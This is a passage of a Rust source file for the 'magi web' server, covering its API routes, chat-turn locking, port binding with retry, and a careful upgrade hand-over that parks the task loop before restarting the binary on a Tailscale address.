879    /// The three front-end files get one explicit route each rather than a
880    /// path parameter, so there is no traversal surface to get wrong: the set
881    /// of servable paths is the set written here. The asset route below is the
882    /// one exception and the only place in this server where a client names a
883    /// file; it is why [`valid_asset_name`] is checked before a path is built.
884    pub fn router(self) -> Router {
885        Router::new()
886            .route("/", get(index))
887            .route("/app.css", get(app_css))
888            .route("/app.js", get(app_js))
889            .route("/api/health", get(health))
890            .route("/api/loop", get(loop_get).post(loop_post))
891            .route("/api/upgrade", post(upgrade_post))
892            .route("/api/runs", get(runs_list))
893            .route("/api/runs/{id}", get(run_detail).delete(run_delete))
894            .route("/api/runs/{id}/report", get(run_report))
895            .route("/api/runs/{id}/report.json", get(run_report_json))
896            .route("/api/runs/{id}/fold", post(run_fold))
897            .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
898            .route("/api/runs/{id}/resume", post(run_resume))
899            .route("/api/queue", get(queue_list))
900            .route("/api/search", get(search_get))
901            .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
902            .route("/api/stats", get(stats_get))
903            .route("/api/repos", get(repos_list))
904            .route("/api/settings", get(settings_get))
905            .route("/api/settings/roles", put(settings_put_roles))
906            .route("/api/queue/{id}/hold", post(queue_hold))
907            .route("/api/queue/{id}/release", post(queue_release))
908            .route("/api/queue/{id}/priority", post(queue_priority))
909            .route("/api/queue/{id}/edit", post(queue_edit))
910            .route("/api/queue/{id}/done", post(queue_done))
911            .route("/api/questions", get(questions_list))
912            .route("/api/questions/{id}/answer", post(question_answer))
913            .route("/api/questions/{id}/say", post(question_say))
914            .route("/api/questions/{id}/consult", post(question_consult))
915            .route("/api/questions/{id}/panel", get(question_panel))
916            // The same asset, reachable from inside the panel by its bare
917            // filename. A document served at `.../panel` resolves `shot.png`
918            // to `.../shot.png`, which is not the asset route, so a panel
919            // written the way its author was told to write it showed broken
920            // images. `base-uri 'none'` means a `<base>` tag cannot paper over
921            // it - deliberately - so the fix is that the panel's own URL ends
922            // in a filename and its siblings are the assets.
923            .route("/api/questions/{id}/panel/index.html", get(question_panel))
924            .route("/api/questions/{id}/panel/{name}", get(question_asset))
925            .route("/api/questions/{id}/asset/{name}", get(question_asset))
926            .route("/api/notifications", get(notifications_list))
927            .route("/api/notifications/read-all", post(notifications_read_all))
928            .route("/api/notifications/{id}/read", post(notification_read))
929            .route(
930                "/api/notifications/{id}/dismiss",
931                post(notification_dismiss),
932            )
933            .route("/api/talks", get(talks_list).post(talk_post))
934            .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
935            .route("/api/talks/{id}/say", post(talk_say))
936            .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
937            .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
938            .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
939            .route("/api/talks/{id}/agent", post(talk_agent))
940            .route("/api/talks/{id}/persona", post(talk_persona))
941            .route("/api/talks/{id}/implementers", post(talk_implementers))
942            .route("/api/talks/{id}/close", post(talk_close))
943            .route("/api/talks/{id}/reopen", post(talk_reopen))
944            // `DefaultBodyLimit` is raised only on this one route - every
945            // other route on this server answers in a few kilobytes, and
946            // widening the crate-wide default for all of them just because
947            // one accepts a picture would let any other handler be handed
948            // a multi-megabyte body it never expects.
949            .route(
950                "/api/talks/{id}/attachments",
951                post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
952            )
953            .route(
954                "/api/talks/{id}/attachments/{att}",
955                get(talk_attachment_get),
956            )
957            .route("/api/talks/{id}/avatar", get(talk_avatar))
958            .route("/api/events", get(events))
959            .with_state(Arc::new(self))
960    }
961}
962
963/// What a chat request is told while an upgrade is parking and the request
964/// cannot be queued as a draft.
965const UPGRADE_IN_PROGRESS: &str = "upgrade in progress, try again in a moment";
966
967/// One talk's turn slot, released on drop.
968///
969/// A guard rather than a matching `remove` at the end of the handler, because
970/// the handler has several early returns and one `await` that can be cancelled
971/// out from under it. A leaked id is a talk nobody can talk to again.
972#[derive(Debug)]
973struct TalkTurnGuard {
974    talk: String,
975    turns: Arc<Mutex<TalkTurns>>,
976    released: bool,
977    /// The cross-process half of the slot; dropped with the guard.
978    lease: Option<crate::talk::TurnLease>,
979}
980
981/// In-memory turn ownership plus the queue generation observed by a drainer.
982///
983/// The generation changes only after a durable queued draft is written and its
984/// caller finds the turn busy. That lets the loop run filesystem work outside
985/// this mutex while still making the final empty-check/release atomic with a
986/// concurrent queue handoff.
987#[derive(Debug, Default)]
988struct TalkTurns {
989    live: HashSet<String>,
990    queued: HashMap<String, u64>,
991    /// Set while an upgrade hand-over is parking: no turn may start, so the
992    /// set in `live` can only shrink. Cleared again if the hand-over ends
993    /// without exiting the process.
994    parking: bool,
995}
996
997/// The atomic initial-state decision made by
998/// [`Ui::begin_talk_turn_unless_pending`].
999enum TalkTurnStart {
1000    Claimed(TalkTurnGuard),
1001    Busy,
1002    /// Another process holds the turn lease. Unlike `Busy` there is no local
1003    /// drain loop that would answer a queued draft, so the caller refuses.
1004    Foreign,
1005    Pending,
1006}
1007
1008impl TalkTurnGuard {
1009    /// Does this guard still own the on-disk lease? A transient failure to
1010    /// check counts as owning: the next beat decides. A guard that lost it
1011    /// must not start another turn on the same session.
1012    fn owns(&self) -> bool {
1013        self.lease
1014            .as_ref()
1015            .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
1016    }
1017
1018    /// `talk::respond` while renewing the on-disk lease, so a turn longer
1019    /// than the lease's TTL still reads as held to other processes.
1020    async fn respond(
1021        &self,
1022        talk: &mut Talk,
1023        talks: &Talks,
1024        cfg: &Config,
1025        text: &str,
1026    ) -> anyhow::Result<()> {
1027        let lease = self
1028            .lease
1029            .as_ref()
1030            .context("the turn guard no longer holds its lease")?;
1031        talk::respond(lease, talk, talks, cfg, text).await
1032    }
1033
1034    /// Release while the caller already holds the claim mutex, closing the
1035    /// last-drain/arrival gap without letting `Drop` revoke a later claim.
1036    fn release(mut self, live: &mut TalkTurns) {
1037        // The on-disk lease goes first: while `live` still names the talk, no
1038        // local claim can start, so nobody observes the slot free but the
1039        // lease held.
1040        self.lease = None;
1041        live.live.remove(&self.talk);
1042        live.queued.remove(&self.talk);
1043        self.released = true;
1044    }
1045}
1046
1047impl Drop for TalkTurnGuard {
1048    fn drop(&mut self) {
1049        if self.released {
1050            return;
1051        }
1052        // Lease first, then the in-process slot (see `release`).
1053        drop(self.lease.take());
1054        if let Ok(mut live) = self.turns.lock() {
1055            live.live.remove(&self.talk);
1056            live.queued.remove(&self.talk);
1057        }
1058    }
1059}
1060
1061/// Releases a resume claim, so a run is resumable again after the attempt.
1062struct ResumeGuard {
1063    run: String,
1064    resuming: Arc<Mutex<HashSet<String>>>,
1065}
1066
1067impl Drop for ResumeGuard {
1068    fn drop(&mut self) {
1069        if let Ok(mut live) = self.resuming.lock() {
1070            live.remove(&self.run);
1071        }
1072    }
1073}
1074
1075/// Bind the port, waiting briefly for a predecessor to let go of it.
1076///
1077/// A restart hands the address from one process to the next, and the old one
1078/// holds its listener until it unwinds. A single `bind` can lose that race,
1079/// and for a restart triggered from a phone that means the deck never comes
1080/// back with no terminal around to say why.
1081///
1082/// Bounded, and only for the one error a wait can fix: anything else fails at
1083/// once, because retrying it would turn a clear message into a silence.
1084async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1085    const WINDOW: Duration = Duration::from_secs(10);
1086    const GAP: Duration = Duration::from_millis(250);
1087
1088    let deadline = std::time::Instant::now() + WINDOW;
1089    let mut said = false;
1090    loop {
1091        match tokio::net::TcpListener::bind(socket).await {
1092            Ok(listener) => return Ok(listener),
1093            Err(e)
1094                if e.kind() == std::io::ErrorKind::AddrInUse
1095                    && std::time::Instant::now() < deadline =>
1096            {
1097                if !said {
1098                    said = true;
1099                    tracing::info!(
1100                        "{socket} is still held - waiting up to {}s for it, \
1101                         which is what a restart looks like from here",
1102                        WINDOW.as_secs()
1103                    );
1104                }
1105                tokio::time::sleep(GAP).await;
1106            }
1107            Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1108        }
1109    }
1110}
1111
1112/// Signalled when an upgrade has replaced the binary and the successor should
1113/// take this address over. One per process: there is one address to hand on.
1114static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1115
1116/// Set to `1` on the successor when the loop was running at handover.
1117const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1118
1119/// Whether the environment value asks for the loop to be resumed.
1120fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1121    value.is_some_and(|v| v == "1")
1122}
1123
1124/// Start this binary again with the same arguments, detached.
1125///
1126/// Called from [`serve`]'s exit path, *after* the listener has been dropped,
1127/// so the address is already free when the successor binds it. The first
1128/// attempt at this spawned the successor two hundred milliseconds before
1129/// exiting instead, and the released binary - which has no bind retry - died
1130/// on "address already in use" with its stdio sent to null, so the deck
1131/// simply never came back.
1132///
1133/// Detached and without inherited stdio: the successor has to outlive this
1134/// process, and must not hold open a pipe a terminal is waiting on.
1135///
1136/// `resume` tells the successor to start the queue loop, through
1137/// [`RESUME_LOOP_ENV`]. It is always set or removed explicitly so a value this
1138/// process inherited from its own predecessor cannot leak into a generation
1139/// that should not resume. The successor's own environment keeps the variable
1140/// (and so do the agent CLIs it starts); `serve` reads it once at startup.
1141///
1142/// The successor's stdout and stderr are appended to `<home>/web.log` rather
1143/// than sent to null: a supervisor's redirection only ever held the first
1144/// generation's descriptors, so every later generation logged nowhere. The
1145/// pid of the child is returned so the handover log can name it.
1146fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1147    let exe = std::env::current_exe().context("find this binary")?;
1148    let args: Vec<String> = std::env::args().skip(1).collect();
1149    updater::log_step(
1150        home,
1151        &format!("restarting: {} {}", exe.display(), args.join(" ")),
1152    );
1153    let log_path = home.join(WEB_LOG);
1154    let open_log = || {
1155        std::fs::create_dir_all(home)?;
1156        std::fs::OpenOptions::new()
1157            .create(true)
1158            .append(true)
1159            .open(&log_path)
1160    };
1161    let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1162        Ok(pair) => (
1163            std::process::Stdio::from(pair.0),
1164            std::process::Stdio::from(pair.1),
1165        ),
1166        Err(e) => {
1167            updater::log_warn(
1168                home,
1169                &format!(
1170                    "could not open {}: {e}; the successor logs nowhere",
1171                    log_path.display()
1172                ),
1173            );
1174            (std::process::Stdio::null(), std::process::Stdio::null())
1175        }
1176    };
1177
1178    let mut cmd = std::process::Command::new(&exe);
1179    if resume {
1180        cmd.env(RESUME_LOOP_ENV, "1");
1181    } else {
1182        cmd.env_remove(RESUME_LOOP_ENV);
1183    }
1184    cmd.args(&args)
1185        .stdin(std::process::Stdio::null())
1186        .stdout(out)
1187        .stderr(err);
1188    #[cfg(windows)]
1189    {
1190        use std::os::windows::process::CommandExt as _;
1191        // DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP: no console to inherit,
1192        // and Ctrl-C in the old terminal must not reach the successor.
1193        cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1194    }
1195    let child = cmd.spawn().context("start the successor")?;
1196    Ok(child.id())
1197}
1198
1199/// File under `<home>` the successor's output is appended to.
1200const WEB_LOG: &str = "web.log";
1201
1202/// Resolves when [`HANDOVER`] is signalled. The only waiter on it: a permit
1203/// stored by an earlier `notify_one` is consumed by the first poll, so the
1204/// signal is never missed and never wakes a second time.
1205async fn wait_for_handover(signal: &Notify) {
1206    signal.notified().await;
1207}
1208
1209/// Serve the UI until Ctrl-C, finishing a run the loop has in flight.
1210///
1211/// The server itself owns no state, so nothing here is graceful for the HTTP
1212/// side's sake: the connections go with the dropped listener, which costs a
1213/// phone one change-stream reconnection it was going to make anyway.
1214///
1215/// The signal branch is not optional now that the loop lives in this process.
1216/// [`daemon::serve_until`] listens for Ctrl-C itself, and a registered
1217/// handler is what stops the signal terminating the process - so without a
1218/// branch of our own, the first Ctrl-C after the operator started the loop
1219/// would stop the loop and leave `magi web` listening forever, unkillable
1220/// from the terminal it was started in.
1221///
1222/// What it waits for is the loop, not the sockets. A run in flight is
1223/// finished first, for the reason [`daemon::serve`] gives: killing the graph
1224/// mid-node leaves worktrees, branches and agent sessions behind and throws
1225/// away every agent call already paid for.
1226///
1227/// The server therefore runs on a task of its own rather than inside the
1228/// `select!`: an arm that resolves *drops* the futures the other arms were
1229/// polling, so serving the address from inside one would take the deck down
1230/// at the instant the handover began and keep it down for the whole park -
1231/// up to `timeout_implement`, an hour by default. See [`hand_over`], which
1232/// owns the order.
1233pub async fn serve(opts: Opts) -> Result<()> {
1234    let (addr, warning) = resolve_bind(&opts.bind);
1235    if let Some(warning) = warning {
1236        tracing::warn!("{warning}");
1237    }
1238
1239    // Process-global, and therefore set exactly once, here: the report route
1240    // must never emit escape sequences into a browser, and toggling the flag
1241    // per request would race with a concurrent request rendering its own
1242    // report. Startup is the only moment at which no request can observe the
1243    // change. Nothing in the server turns colour back on.
1244    report::set_color(false);
1245
1246    let repo = normalize_default_repo(opts.repo).await;
1247    let ui = Ui::open(repo).with_merge(opts.merge);
1248    // Cloned before `ui.router()` consumes `ui` below: `hand_over` needs the
1249    // home to bracket the parking and restarting stages, and `run_update_recheck`
1250    // needs both it and the repo, and by then there is no `ui` left to read
1251    // them from.
1252    let home = ui.home.clone();
1253    let repo = ui.repo.clone();
1254    // Settles a progress record a predecessor left non-terminal - either this
1255    // *is* the successor `spawn_successor` started, or the previous process
1256    // died mid-handover. Before the router starts answering, so the very
1257    // first `/api/health` a phone gets from this process already reflects it.
1258    updater::reconcile_after_restart(&home);
1259    updater::log_step(
1260        &home,
1261        &format!(
1262            "web process started (version {}); handover log {}, successor output {}",
1263            env!("CARGO_PKG_VERSION"),
1264            updater::log_path(&home).display(),
1265            home.join(WEB_LOG).display()
1266        ),
1267    );
1268    updater::spawn_watchdog(home.clone());
1269    // `magi web` can stay up for days, and the one-time check `main.rs`'s
1270    // `spawn_update_check` does at startup only ever runs once: after that,
1271    // `/api/health`'s `update` field - and the phone's "Update & restart"
1272    // button, which reads the very same cache - would stay frozen on
1273    // whatever that single check found, no matter how many releases ship
1274    // afterwards. This keeps it current instead. Detached: it must keep
1275    // going for as long as this process serves, `serve` has nothing to await
1276    // it for, and it exits on its own the moment the process does.
1277    tokio::spawn(run_update_recheck(repo, home.clone()));
1278    let looping = ui.looping();
1279    let turns = ui.turns();
1280    let talk_store = ui.talks.clone();
1281    let socket = SocketAddr::new(addr, opts.port);
1282    let listener = bind_waiting(socket).await?;
1283    let url = format!("http://{addr}:{}", opts.port);
1284    tracing::info!(
1285        "magi web UI on {url} - there is no authentication, so anyone who can \
1286         reach this address can file and hold tasks: the tailnet is the \
1287         security boundary"
1288    );
1289    if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1290        tracing::info!("resumed the loop the predecessor was running");
1291    } else {
1292        tracing::info!(
1293            "the queue loop is not running yet - start it from the UI, which is \
1294             the whole reason this process can: nothing in the queue moves until \
1295             something is running the loop"
1296        );
1297    }
1298    if opts.open {
1299        // The URL alone on stdout, for a caller that wants to open it. magi
1300        // does not spawn a browser: on the machine this usually runs on there
1301        // is no display, and a failed launch would be the only output.
1302        println!("{url}");
1303    }
1304
1305    // On its own task, so nothing this function awaits can stop the address
1306    // being answered. `hand_over` is where it is given up.
1307    let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1308    let interrupted = async {
1309        if tokio::signal::ctrl_c().await.is_err() {
1310            // No handler on this platform, so there is no signal to act on.
1311            // Never resolving is the safe answer: a failed registration must
1312            // not masquerade as the operator asking for a shutdown and take
1313            // the UI down on startup.
1314            std::future::pending::<()>().await;
1315        }
1316    };
1317    let handover = wait_for_handover(&HANDOVER);
1318    let outcome = tokio::select! {
1319        joined = &mut served => match joined {
1320            Ok(outcome) => outcome.context("serve the web UI"),
1321            Err(e) => Err(e).context("the task serving the web UI ended"),
1322        },
1323        () = interrupted => {
1324            tracing::info!("shutting down the web UI");
1325            finish_loop(&home, &looping, None).await;
1326            Ok(())
1327        }
1328        () = handover => {
1329            updater::log_step(&home, "serve: the select! woke on the handover signal");
1330            let successor_home = home.clone();
1331            let wait_for = move |ids: &[String]| talk_wait_for(&talk_store, ids);
1332            hand_over(&home, &looping, &turns, &wait_for, served, move |resume| {
1333                spawn_successor(&successor_home, resume)
1334            })
1335            .await
1336        }
1337    };
1338    updater::log_step(
1339        &home,
1340        &match &outcome {
1341            Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1342            Err(e) => format!("serve: returning an error: {e:#}"),
1343        },
1344    );
1345    outcome
1346}
1347
1348/// `opts.repo`, or - when it is still `--repo`'s own default (`.`) and the
1349/// process's own working directory is not a git checkout at all - the
1350/// checkout [`repos::discover_verified`] finds instead.
1351///
1352/// Only the unmodified default is ever replaced: an operator who named a
1353/// directory outright, git checkout or not, gets exactly that directory
1354/// back, and the same story downstream (a talk whose briefing embeds a
1355/// non-git directory, and an agent that has to ask the operator where the
1356/// real repository is) that has always told them so - substituting a guess
1357/// for an explicit answer would be a second, silent opinion about what they
1358/// meant. There is no instruction or task text yet to match against this
1359/// early, so only [`repos::discover_verified`]'s own-repository tier can
1360/// ever settle this - the hint tier never fires here.
1361///
1362/// [`repos::discover_verified`], not [`repos::discover`]: a candidate this
1363/// found by filesystem shape alone is not yet trustworthy - a stale `.git`,
1364/// or a git installation that is broken in exactly the way that made the
1365/// original `canonical` check above fail too - so it is re-checked with
1366/// `git::toplevel` before it is ever used in place of the operator's own
1367/// directory.
1368async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1369    if repo != FsPath::new(".") {
1370        return repo;
1371    }
1372    let Ok(canonical) = repo.canonicalize() else {
1373        return repo;
1374    };
1375    if git::toplevel(&canonical).await.is_ok() {
1376        return repo;
1377    }
1378    let Some(home) = dirs::home_dir() else {
1379        return repo;
1380    };
1381    match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1382        Some(found) => {
1383            tracing::info!(
1384                "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1385                canonical.display(),
1386                found.path.display(),
1387                found.reason,
1388            );
1389            found.path
1390        }
1391        None => repo,
1392    }
1393}
1394
1395/// Park the loop, then release the address, then start the successor.
1396///
1397/// The order is the whole function, and each step is answerable to a failure
1398/// this arrangement has already had:
1399///
1400/// 1. **Park.** The loop was asked to stop by the request that replaced the
1401///    binary, and this waits for it, because killing the graph mid-node
1402///    leaves worktrees, branches and agent sessions behind and throws away
1403///    every agent call already paid for. It takes as long as the node in
1404///    flight - up to `timeout_implement`, an hour by default - and the deck
1405///    goes on answering for all of it, which is the reason `served` is a task
1406///    rather than an arm of [`serve`]'s `select!`. It was an arm once: the
1407///    first upgrade from a phone that caught a run mid-implement dropped the
1408///    listener the moment it was asked to, and the operator got
1409///    `Cannot reach magi: Failed to fetch` with no way to see the park it was
1410///    waiting on and nothing but a process list to say the run was alive.
1411/// 2. **Release.** Aborting *and awaiting* the task is what frees the socket:
1412///    the join resolves only once the task's future has been dropped, so the
1413///    listener is released before the next line. Connections it already
1414///    accepted are served on tasks of their own and wind down asynchronously;
1415///    on some platforms (macOS) they can briefly keep the address busy, and
1416///    the successor's `bind_waiting` absorbs that.
1417/// 3. **Start the successor**, which binds the address this process has just
1418///    let go of - see [`spawn_successor`] for what the other order cost.
1419///
1420/// The [`updater::Progress`] bookkeeping bracketing steps 1 and 3 is
1421/// reporting, not part of the design: it exists so `/api/health` can say
1422/// "parking, waiting on run X" instead of leaving the phone to guess why the
1423/// deck went quiet, and dropping it would not change the order above.
1424async fn hand_over(
1425    home: &FsPath,
1426    looping: &Mutex<LoopState>,
1427    turns: &Arc<Mutex<TalkTurns>>,
1428    talk_wait: &(dyn Fn(&[String]) -> Duration + Sync),
1429    served: tokio::task::JoinHandle<std::io::Result<()>>,
1430    successor: impl FnOnce(bool) -> Result<u32>,
1431) -> Result<()> {
1432    updater::log_step(home, "hand_over: entered; writing the parking stage");
1433    // The lease and the stage are written as one step, so a reader that sees
1434    // `parking` also finds the proof that hand_over is alive. Dropped on
1435    // every way out.
1436    let (mut lease, recorded) = updater::LeaseGuard::enter_parking(home);
1437    if !recorded {
1438        updater::log_warn(
1439            home,
1440            "hand_over: upgrade.json is unreadable; no parking stage",
1441        );
1442    }
1443    // Chat stays open while the loop parks: nothing restarts until it ends,
1444    // and the park can last as long as a node. Only once it is done is the
1445    // slot closed, right before the restart; a turn started earlier is in
1446    // `live` by then, so `finish_talks` waits for it.
1447    finish_loop(home, looping, Some(&mut lease)).await;
1448    let parking = ParkingTurns::begin(turns);
1449    let talks_done = finish_talks(home, turns, talk_wait);
1450    tokio::pin!(talks_done);
1451    let mut beat = tokio::time::interval(LEASE_BEAT);
1452    let (abandoned, waited_for) = loop {
1453        tokio::select! {
1454            left = &mut talks_done => break left,
1455            _ = beat.tick() => lease.beat(),
1456        }
1457    };
1458    drop(lease);
1459    updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1460    served.abort();
1461    let _ = served.await;
1462    updater::log_step(home, "hand_over: listener released");
1463    // Read last: the deck answers for the whole park, so an operator's stop
1464    // during the wait must still be honoured by the successor.
1465    let resume = lock_or_recover(looping).resume_after_handover;
1466    match updater::read_progress(home) {
1467        Some(mut progress) => {
1468            progress.advance(updater::Stage::Restarting);
1469            if !abandoned.is_empty() {
1470                progress.detail = Some(format!(
1471                    "handed over while {} still running after {} s",
1472                    updater::talks_phrase(&abandoned),
1473                    waited_for.as_secs()
1474                ));
1475            }
1476            updater::write_progress_logged(home, &progress);
1477        }
1478        None => updater::log_warn(
1479            home,
1480            "hand_over: upgrade.json is unreadable; no restarting stage",
1481        ),
1482    }
1483    updater::log_step(
1484        home,
1485        &format!("hand_over: starting the successor (resume={resume})"),
1486    );
1487    drop(parking);
1488    match successor(resume) {
1489        Ok(pid) => {
1490            updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1491            Ok(())
1492        }
1493        Err(e) => {
1494            updater::log_warn(
1495                home,
1496                &format!("hand_over: the successor did not start: {e:#}"),
1497            );
1498            Err(e)
1499        }
1500    }
1501}
1502
1503/// Grace added to `[graph] timeout_talk` for the upgrade's wait on chat turns:
1504/// a turn that runs its full timeout still needs a moment to record its answer.
1505const TALK_PARK_GRACE: Duration = Duration::from_secs(60);
1506
1507/// How often the park looks at the chat turns still running.
1508const TALK_POLL: Duration = Duration::from_millis(250);
1509
1510/// The longest an upgrade waits for chat turns: one turn's timeout plus a
1511/// grace. Beyond it a stuck turn must not block the hand-over.
1512fn talk_wait_bound(timeout_talk_secs: u64) -> Duration {
1513    Duration::from_secs(timeout_talk_secs) + TALK_PARK_GRACE
1514}
1515
1516/// The bound for the turns of `ids`: the longest `[graph] timeout_talk` among
1517/// the repositories those talks run in (each turn uses its own talk's
1518/// configuration), plus the grace. A talk or config that cannot be read counts
1519/// with the default timeout.
1520fn talk_wait_for(talks: &Talks, ids: &[String]) -> Duration {
1521    let default = Config::default().graph.timeout_talk;
1522    let longest = ids
1523        .iter()
1524        .map(|id| {
1525            talks
1526                .get(id)
1527                .ok()
1528                .and_then(|t| Config::discover(&t.repo, None).ok())
1529                .map_or(default, |(c, _)| c.graph.timeout_talk)
1530        })
1531        .max()
1532        .unwrap_or(default);
1533    talk_wait_bound(longest)
1534}
1535
1536/// Stops new chat turns for as long as it lives, so the hand-over only ever
1537/// waits on a set that cannot grow. `hand_over` takes it only after the loop
1538/// has stopped, so chat stays usable while the loop parks. Dropping it reopens the slots.
1539struct ParkingTurns(Arc<Mutex<TalkTurns>>);
1540
1541impl ParkingTurns {
1542    fn begin(turns: &Arc<Mutex<TalkTurns>>) -> Self {
1543        turns.lock().unwrap_or_else(PoisonError::into_inner).parking = true;
1544        Self(Arc::clone(turns))
1545    }
1546}
1547
1548impl Drop for ParkingTurns {
1549    fn drop(&mut self) {
1550        self.0
1551            .lock()
1552            .unwrap_or_else(PoisonError::into_inner)
1553            .parking = false;
1554    }
1555}
1556
1557/// Wait until no chat turn is running in this process, for at most the longest
1558/// `bound_for` has given for the turns seen so far. Returns the talk ids still
1559/// running when the bound was hit (empty when the turns finished) with the
1560/// bound that applied, after saying so in the upgrade log.
1561async fn finish_talks(
1562    home: &FsPath,
1563    turns: &Mutex<TalkTurns>,
1564    bound_for: &(dyn Fn(&[String]) -> Duration + Sync),
1565) -> (Vec<String>, Duration) {
1566    let running = || {
1567        let mut ids: Vec<String> = turns
1568            .lock()
1569            .unwrap_or_else(PoisonError::into_inner)
1570            .live
1571            .iter()
1572            .cloned()
1573            .collect();
1574        // A turn another task of this process (the daemon's completion
1575        // notice) or another process runs holds only the on-disk lease.
1576        let talks = talk::Talks::at(home.join("talks"));
1577        for t in talks.list() {
1578            if talks.turn_held(&t.id) && !ids.contains(&t.id) {
1579                ids.push(t.id);
1580            }
1581        }
1582        ids.sort();
1583        ids
1584    };
1585    let started = std::time::Instant::now();
1586    let mut seen = Vec::new();
1587    let mut bound = Duration::ZERO;
1588    loop {
1589        let ids = running();
1590        if ids != seen {
1591            bound = bound.max(bound_for(&ids));
1592            if ids.is_empty() {
1593                updater::log_step(home, "finish_talks: no chat turn is running");
1594            } else {
1595                updater::log_step(
1596                    home,
1597                    &format!(
1598                        "finish_talks: waiting for {} to finish",
1599                        updater::talks_phrase(&ids)
1600                    ),
1601                );
1602            }
1603            updater::set_parked_talks(home, &ids);
1604            seen = ids;
1605        }
1606        if seen.is_empty() {
1607            return (Vec::new(), bound);
1608        }
1609        if started.elapsed() >= bound {
1610            updater::log_warn(
1611                home,
1612                &format!(
1613                    "finish_talks: {} still running after {} s; handing over anyway",
1614                    updater::talks_phrase(&seen),
1615                    bound.as_secs()
1616                ),
1617            );
1618            return (seen, bound);
1619        }
1620        tokio::time::sleep(TALK_POLL).await;
1621    }
1622}
1623
1624/// How often `finish_loop` renews the handover lease; well inside
1625/// [`updater::LEASE_TTL_SECS`].
1626const LEASE_BEAT: Duration = Duration::from_secs(20);
1627
1628/// Ask the loop to stop and wait for it, on the way out of [`serve`].
1629///
1630/// The wait is the whole function. Returning from `serve` while a graph is
1631/// mid-node ends the process with worktrees, branches and agent sessions left
1632/// behind and every agent call in that run paid for and thrown away, which is
1633/// exactly what the daemon's own shutdown refuses to do.
1634async fn finish_loop(
1635    home: &FsPath,
1636    state: &Mutex<LoopState>,
1637    mut lease: Option<&mut updater::LeaseGuard>,
1638) {
1639    let live = lock_or_recover(state).live.take();
1640    let Some(live) = live else {
1641        updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1642        return;
1643    };
1644    live.stop.stop();
1645    lock_or_recover(state).rev += 1;
1646    updater::log_step(
1647        home,
1648        "finish_loop: waiting for the loop to finish the run in flight",
1649    );
1650    let waited = std::time::Instant::now();
1651    // The task records its own outcome and logs it, so there is nothing to do
1652    // with a join error here but stop waiting.
1653    let mut handle = live.handle;
1654    let mut beat = tokio::time::interval(LEASE_BEAT);
1655    loop {
1656        tokio::select! {
1657            _ = &mut handle => break,
1658            _ = beat.tick() => {
1659                if let Some(lease) = lease.as_deref_mut() {
1660                    lease.beat();
1661                }
1662            }
1663        }
1664    }
1665    updater::log_step(
1666        home,
1667        &format!(
1668            "finish_loop: the loop ended after {:.1}s",
1669            waited.elapsed().as_secs_f32()
1670        ),
1671    );
1672}
1673
1674/// Resolve `--bind` to an address, plus a warning when the answer is not what
1675/// the operator asked for.
1676///
1677/// Split out from [`serve`] because the interesting half - deciding whether
1678/// Tailscale gave us something usable - is testable without opening a socket.
1679pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1680    match bind {
1681        Bind::Addr(addr) => (*addr, None),
1682        Bind::Auto => match tailscale_ip() {
1683            Ok(ip) => (IpAddr::V4(ip), None),
1684            Err(why) => (
1685                IpAddr::V4(Ipv4Addr::LOCALHOST),
1686                Some(format!(
1687                    "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1688                     local-only and a phone cannot reach it; start Tailscale \
1689                     or pass --bind <addr>"
1690                )),
1691            ),
1692        },
1693    }
1694}
1695
1696/// This machine's Tailscale IPv4, or why there is not one.
1697///
1698/// `tailscale ip -4` is a local call against the running daemon and returns in
1699/// milliseconds, so it is fine to make it synchronously before the server
1700/// exists. Only an address inside `100.64.0.0/10` is accepted: that is the
1701/// CGNAT block Tailscale assigns from, and anything else on that output would
1702/// be a different tool answering.
1703fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1704    let out = std::process::Command::new("tailscale")
1705        .args(["ip", "-4"])
1706        .quiet()
1707        .output()
1708        .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1709    if !out.status.success() {
1710        let why = String::from_utf8_lossy(&out.stderr);
1711        let why = why.trim();
1712        return Err(format!(
1713            "`tailscale ip -4` failed ({}){}",
1714            out.status,
1715            if why.is_empty() {
1716                String::new()
1717            } else {
1718                format!(": {why}")
1719            }
1720        ));
1721    }
1722    String::from_utf8_lossy(&out.stdout)
1723        .lines()
1724        .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1725        .find(is_tailnet)
1726        .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1727}
1728
1729/// Is this address in the CGNAT block Tailscale hands out from?
1730fn is_tailnet(ip: &Ipv4Addr) -> bool {
1731    let o = ip.octets();
1732    o[0] == 100 && (64..=127).contains(&o[1])
1733}
1734
1735/// What every handler returns. Spelled out because `Result` in this crate is
1736/// `anyhow::Result`, and a handler's error is a status code as much as a
1737/// message.
1738type ApiResult<T> = std::result::Result<T, ApiError>;
1739
1740/// A handler failure, rendered as the `{"error": ".."}` body the UI expects.
1741#[derive(Debug)]
1742struct ApiError {
1743    status: StatusCode,
